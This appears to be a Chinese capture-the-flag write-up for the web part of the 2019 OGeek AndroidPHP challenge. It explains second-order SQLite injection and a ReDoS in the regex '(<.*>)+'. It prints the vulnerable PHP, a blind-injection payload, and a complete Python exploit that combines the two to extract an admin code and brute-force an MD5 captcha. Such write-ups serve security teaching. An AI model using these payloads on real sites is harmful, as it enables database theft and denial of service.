这个题原本是个安卓逆向+web后端的题,但是web部分很值得学习。
安卓逆向部分参照官方wp
题目复现环境: https://github.com/rama291041610/Jeopardy-Dockerfiles/tree/master/web/2019-ogeek-AndroidPHP

这个题目主要考察了二次注入以及ReDos攻击,所以先讲讲这两类漏洞。

考察点

二次注入

相比于一次注入,二次注入更难以被挖掘。顾名思义,二次注入就是两次利用SQL注入的payload从而破坏最终的SQL语句结构实现SQL注入的目的。二次注入是由于在数据插入数据库时,数据中的特殊字符被转义,如php中的addslashes函数(在某些特殊字符前添加\实现转义),插入数据库后,数据被还原。当数据被取出后,对于取出的数据没有再次进行转义过滤,导致数据再次被新的SQL语句引用的时候,就可破坏其结构,从而触发SQL注入。

以这个题为例,首页提示源码泄漏,目录为/html.zip
审计源码,注册处存在过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
//index.php
function register()
{
if($_POST['username'] && $_POST['password'] ) {
$username = addslashes($_POST['username']);
$password = md5($_POST['password']);
if(strlen($username) < 3)
die('Invalid user name');
if(!$this->is_exists($username)) {
$db = new Data_db();
$sql = "select max(id)+1 from users";
@$ret = $db->querySingle($sql);
if(!$ret)
return false;
$nid = $ret;
$sql = "insert into users(id,user,pass) values($nid,'".addslashes_to_sqlite($username)."','$password')";
@$ret = $db->exec($sql);
if(!$ret)
return false;
$sql = "insert into file(userid,email,commentsize) values ($nid,'[email protected]','200')";
@$ret = $db->exec($sql);
$db->close();
if($ret)
return true;
else
return false;
}
else {
die("The username is not unique");
}
}
else
{
return false;
}
}

首先,usernameaddslashes函数过滤,查询php文档,关于该函数解释如下:

addslashes ( string $str ) : string

返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(’)、双引号(”)、反斜线(\)与 NUL(NULL 字符)。

也就是说,我们在用户名中插入的单引号会被转义为\'
在sql插入语句中,usernameaddslashes_to_sqlite函数二次转义过滤,这个函数定义在config.php中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//config.php
function addslashes_to_sqlite($string)
{
for($i = 0; $i<strlen($string); $i++)
{
if($string[$i] == '\\' && ($i+1)< strlen($string) && $string[$i+1] != '\\')
{
$string[$i] = $string[$i+1];
}
elseif ($string[$i] == '\\')
{
$i = $i + 1;
}
else
{
continue;
}
}
return $string;
}

这个过滤函数将所有非\\\*形式转换为**形式,也就是针对于sqlite中单引号的转义,单引号转义为''。结合两次过滤,刚好将单引号转义,无法进行注入。
登陆处存在同样过滤,无法注入。

继续审计,comment方法中,将数据库中的username取出,拼接为email插入数据库。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//index.php
function comment()
{
if(!$this->check_login()) return false;
if($_POST['comment'] ) {
$comment = $_POST['comment'];
$sql = "select user from users where id = '".$this->userid."'";
$db = new Data_db();
@$ret = $db->querySingle($sql) or 0;
$db->close();
$username = $ret;
$email = $username."@ctf.com";
$sql = "UPDATE file SET email = '".addslashes_to_sqlite($email)."' where id = ".$this->userid;
$db = new Data_db();
@$ret = $db->exec($sql);
$br_padding = (int)($_POST['padding']);
$comment_size = strlen($comment);
$sql = "select commentsize from file where userid = ".$this->userid."";
$db = new Data_db();
@$ret = $db->querySingle($sql) or 0;
$db->close();

此时,由于''存入数据库后,被还原为单引号,取出后只经过了addslashes_to_sqlite转义过滤,并不能对单引号实现过滤,故可在UPDATE语句处进行二次注入,注入点为username

ReDos攻击

ReDos攻击是由存在缺陷的正则表达式引发的。攻击者可以构造特殊的字符串,来消耗服务器资源从而达到Dos攻击的目的。

正则表达式的引擎是有穷状态自动机,而有穷状态自动机又分为两类,一类称为DFA(确定有穷状态自动机),另一类称为NFA(非确定有穷状态自动机)

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入 。由于字符串的每一个字符只需要扫描一遍,速度较快,但是支持的特性较少。
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态 。NFA由于要翻来覆去的对字符串进行匹配,速度较慢,但是支持的特性较多,如惰性匹配,回溯,反向引用。NFA默认使用贪婪匹配,所以有可能导致不停回溯,从而导致性能极差的情况发生。

由于NFA支持更多的功能,现在大多正则表达式的匹配引擎采用NFA,PHP的正则表达式匹配引擎采用的是传统的NFA,也就是说可以进行ReDos攻击。

易导致ReDos攻击的正则表达式一般具有如下特征:

  • 重复分组构造
  • 重复组内出现:1. 重复 2.交替重叠

以本题中出现的正则表达式为例:
题目中一共出现了两个正则表达式,分别为:(<.*>)+, (<(\/)?br>)+

先分析(<.*>)+

分组内贪婪匹配任意字符,也就可以构造分组内无限长但是分组不匹配的字符串,从而导致在搜索过程中,不停的回溯,匹配次数指数级增长。匹配过程如下:

只需要构造足够长的<即可触发ReDos攻击。

再来看看(<(\/)?br>)+

分组内不存在重复,无法进行ReDos攻击。

Solution

回到这个题,由于题目存在源码泄漏,主要就是考察代码审计能力了。
admin.php可以得知,想要获取flag,需要先得到admin表中code字段的值,然后在admin.php提交code即可获得flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
//admin.php
<?php
require_once('config.php');

if(isset($_POST['flag'])&& isset($_POST['code'])) {
if(!isset($_SESSION['admin_code']))
{
header('Location: admin.php');
exit;
}
if(substr(md5($_POST['code']),0, 6)!== $_SESSION['admin_code'])
{
unset($_SESSION['admin_code']);
header('Location: admin.php');
exit;
}
$sql = "select code from admin";
$db = new Data_db();
$ret = $db->querySingle($sql);
if ($ret) {
if ($ret === $_POST['flag'])
{
session_unset();
$sql = "update admin set code='".rand_s(5)."';";
$ret = $db->exec($sql);
die($flag);
}
else
{
unset($_SESSION['admin_code']);
header('Location: admin.php');
exit;

}
}
else
{
unset($_SESSION['admin_code']);
header('Location: admin.php');
exit;
}
}

这时就可以利用上面发现的二次注入漏洞,但是通过审计,无法将数据直接回显出来,只能考虑盲注。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//index.php
if(( $comment_size + $br_padding) > $max_comment_size)
{
//移除掉所有html标签
$comment = preg_replace('/(<.*>)+/','',$comment);
if(strlen($comment) > $max_comment_size)
{
//无论发不发邮件你都能拿到flag,不是吗?
//send_mail($email,"评论长度超过该用户最大限制!");
return true;
}
else
{
$email = "[email protected]";
//无论发不发邮件你都能拿到flag,不是吗?
//send_mail($email,$comment);
return true;
}
}
else
{
//只移除br标签
$comment = preg_replace('/(<(\/)?br>)+/','',$comment);
$email = "[email protected]";
//无论发不发邮件你都能拿到flag,不是吗?
//send_mail($email,$comment);
return true;
}

所有状态均返回true,并且在/views/profile.v.php中未对comment的返回值进行处理,无法通过返回结果进行bool盲注。同时,在注册时,is_exists函数对username进行了过滤,过滤了RANDOMBLOB以及;。由于sqlite没有sleep函数,可用函数也十分有限,时间盲注基本只能通过RANDOMBLOB生成超长随机串实现,被过滤后也很难进行时间盲注。同时,过滤分号也没办法进行堆叠注入,也就没办法篡改code。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//index.php
private function is_exists($username)
{
$sql = "select user from users where user = '".addslashes_to_sqlite($username)."'";
$db = new Data_db();
@$ret = $db->querySingle($sql);
$db->close();
if($ret)
return true;
else
if(preg_match("/(RANDOMBLOB)|;/is",$username))
return true;
return false;
}

再次回到上面comment方法中的判断逻辑,其中,$comment_size是我们输入comment的长度,$br_padding是我们输入的padding的值,$max_comment_size是从file表中读取的对应用户commentsize字段的值。
$comment_size + $br_padding > $max_comment_size时,可以利用正则进行ReDos攻击,从而导致延时,反之则不会发生延时。

回到上面的注入部分,我们可以进行sql注入的语句是

1
$sql = "UPDATE file SET email = '".addslashes_to_sqlite($email)."' where id = ".$this->userid;

所以,思路已经很明朗了,SQL注入通过条件判断修改file表中commentsize字段的值,然后通过ReDos攻击延时判断输入的查询条件是否成立。
sqlite没有if,但是可以使用case when (bool) then 0 else 200 end,同时sqlite还支持直接比较字符的ascii码,故payload为:

1
', commentsize = (case when (substr((select code from admin),%d,1) < char(%d)) then 0 else 200 end) --

我们只需要输入足够大的comment以及合适的padding满足payload即可。

PS:官方wp给出的思路是将code字段的值分批次更新到commentsize,然后修改padding的值,通过延迟判断是否进入第一个分支,从而通过计算padding与comment长度的和得到commentsize的值,进而直接获取到code的值。sqlite没有ascii函数,查了半天手册,发现还有一个unicode函数可用,可以将字符转为ascii码。

拿到code以后,前往admin.php兑换即可,这里有一个md5验证码。

遍历0-1e9的MD5,约有46%的可能获得可行解,若没有刷新验证码重新遍历即可。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#-*-encoding: utf-8 -*-
import requests
import random
import string
import hashlib
import time
import re

url = "http://192.168.112.132:8081"


def rand_str(length=5):
return ''.join(random.sample(string.ascii_letters + string.digits, length))


def md5(text):
return hashlib.md5(text.encode('utf-8')).hexdigest()


def solve_md5(code):
for i in range(1000000000):
hash_code = md5(str(i))
if hash_code[:6] == code:
return "%d" % i
return False


class User(object):
def __init__(self, username, password="123456"):
self.username = username
self.password = password
self.s = requests.Session()
self.register()
self.login()

def register(self):
payload = {"username": self.username, "password": self.password}
r = self.s.post(url + "/index.php?action=register", data=payload)

def login(self):
payload = {"username": self.username, "password": self.password}
r = self.s.post(url + "/index.php?action=index", data=payload)


def get_flag(code):
s = requests.Session()
r = s.get(url + "/admin.php")
hash_code = re.search(" === (\\w{6})", r.text).group(1)
hash_code = solve_md5(hash_code)
if hash_code:
r = s.post(url + "/admin.php", data={"code": hash_code, "flag": code})
print(r.text)


def send(payload):
user = User(payload)
payload = {"padding": -199900, "comment": "<" * 200000, "blog": "test"}
try:
r = user.s.post(url + "/index.php?action=profile", data=payload, timeout=2.5)
except:
return True


def inject(payload):
global end, name
char = 1
name = ""
while char:
end = False
search(0, 129, char, payload)
char += 1
if end:
print(name)
return name


def search(left, right, char, sql):
global end, name
mid = (left + right) // 2
if right != left + 1:
payload = sql % (char, mid)
rep = send(payload)
# print(payload)
if rep:
search(left, mid, char, sql)
else:
search(mid, right, char, sql)
elif right != 1:
print(char, chr(mid))
name += chr(mid)
else:
end = True
return


def office():
code = ""
for i in range(5):
payload = rand_str() + "', commentsize = unicode(substr((select code from admin),{},1)) -- ".format(i + 1)
user = User(payload)
for j in range(256):
payload = {"padding": -200000 + j, "comment": "<" * 200000, "blog": "test"}
try:
r = user.s.post(url + "/index.php?action=profile", data=payload, timeout=2.5)
except:
code += chr(j - 1)
print(code)
break
return code


if __name__ == '__main__':
#code = office()
code = inject(
rand_str() + "', commentsize = (case when (substr((select code from admin),%d,1) < char(%d)) then 0 else 200 end) -- ")
get_flag(code)